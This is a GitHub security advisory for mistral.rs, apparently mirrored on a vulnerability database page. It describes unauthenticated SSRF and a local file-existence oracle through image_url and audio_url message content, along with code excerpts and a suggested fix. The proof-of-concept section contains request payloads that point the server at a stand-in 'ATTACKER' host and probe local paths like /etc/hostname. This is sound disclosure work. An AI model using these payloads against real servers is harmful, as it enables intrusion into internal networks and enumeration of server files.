GHSA-WFGQ-W7CQ-QJ7J
Vulnerability from github – Published: 2026-09-10 21:54 – Updated: 2026-09-10 21:54Summary
mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI image_url / audio_url message content. The server is unauthenticated by default.
Details
parse_image_url in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:
let url = if let Ok(url) = url::Url::parse(url_unparsed) {
url
} else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute)
url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
File::open(path).await ... read // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };
reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parse_audio_url (line 91) is identical for audio_url.
The value reaches this unvalidated: mistralrs-server-core/src/chat_completion.rs calls parse_image_url(&url_unparsed) / parse_audio_url(&url_unparsed) on the chat message content, at request time.
For reference, vLLM gates outbound media domains (allowed_media_domains) and local paths (allowed_local_media_path); mistral.rs has neither.
Suggested fix
Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.
Proof of concept
On a default vision deployment, unauthenticated:
SSRF - the server fetches the attacker URL during request processing:
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.
Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):
existing file (opened and read, then fails to decode):
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/etc/hostname"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "The image format could not be determined"
nonexistent path:
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/nonexistent"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."
The difference is structural: parse_image_url (util.rs:48) takes the file branch only when File::open(url_unparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::load_from_memory (util.rs:87). The error response carries sanitize_error_message (util.rs:210), which returns the root-cause message, so both reach the client verbatim.
Impact
An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied file:// URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.
Availability (CVSS A:L): reqwest::get (util.rs:61) uses the default client, which has no timeout, and http_resp.bytes() (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates vec![0; metadata.len()] (util.rs:73) before reading, so pointing at a large local file does the same.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.17"
},
"package": {
"ecosystem": "crates.io",
"name": "mistralrs-server-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T21:54:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nmistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default.\n\n### Details\n`parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it:\n\n```rust\nlet url = if let Ok(url) = url::Url::parse(url_unparsed) {\n url\n} else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute)\n url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...\n} else { bail!(...) };\n\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check\n} else if url.scheme() == \"file\" {\n File::open(path).await ... read // arbitrary local file read\n} else if url.scheme() == \"data\" { ... base64 ... };\n```\n\n`reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`.\n\nThe value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(\u0026url_unparsed)` / `parse_audio_url(\u0026url_unparsed)` on the chat message content, at request time.\n\nFor reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither.\n\n### Suggested fix\nRestrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.\n\n### Proof of concept\nOn a default vision deployment, unauthenticated:\n\nSSRF - the server fetches the attacker URL during request processing:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"http://ATTACKER/probe\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n```\n\nAn out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.\n\nArbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):\n\nexisting file (opened and read, then fails to decode):\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"/etc/hostname\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-\u003e 500, response body message: \"The image format could not be determined\"\n```\n\nnonexistent path:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"/nonexistent\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-\u003e 500, response body message: \"Invalid source \u0027/nonexistent\u0027: not a valid URL (http/https/data) and file not found on server. ...\"\n```\n\nThe difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with \"file not found on server\" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim.\n\n### Impact\nAn attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.\n\nAvailability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.",
"id": "GHSA-wfgq-w7cq-qj7j",
"modified": "2026-09-10T21:54:14Z",
"published": "2026-09-10T21:54:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-wfgq-w7cq-qj7j"
},
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/commit/74793379649febc758b6a0d4b71aa6aeabc80f9c"
},
{
"type": "PACKAGE",
"url": "https://github.com/EricLBuehler/mistral.rs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.